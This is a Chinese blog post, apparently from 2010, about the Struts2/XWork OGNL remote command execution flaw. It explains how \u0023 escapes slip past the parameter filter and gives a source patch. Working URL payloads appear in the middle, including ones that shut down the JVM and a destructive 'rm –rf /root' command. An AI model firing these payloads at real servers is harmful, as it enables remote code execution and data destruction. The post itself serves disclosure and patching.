最近發現 struts 2的這個嚴重安全漏洞,在http://www.javaeye.com/topic/720209中已經有所表述,主要是OGNL的問題,摘錄如下:
exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞。
漏洞名稱:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關介紹:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:
Java代碼
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換為:
Java代碼
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
Java代碼
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義后是這樣:
Java代碼
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是Java代碼
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
類似的可以執行Java代碼
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有權限就可以刪除任何一個目錄。
目前的解決方法如下,官方的出了補丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下載其中這個補丁修補,
而如果你的版本是低于2.1.8的,可以去下載xwork-2.XX.JAR對應的源代碼(本來想反編譯JAR的,發現還是找源代碼好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中調整如下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
posted on 2010-07-30 18:15
junly 閱讀(5498)
評論(3) 編輯 收藏 所屬分類:
struts2/struts1.3/JSF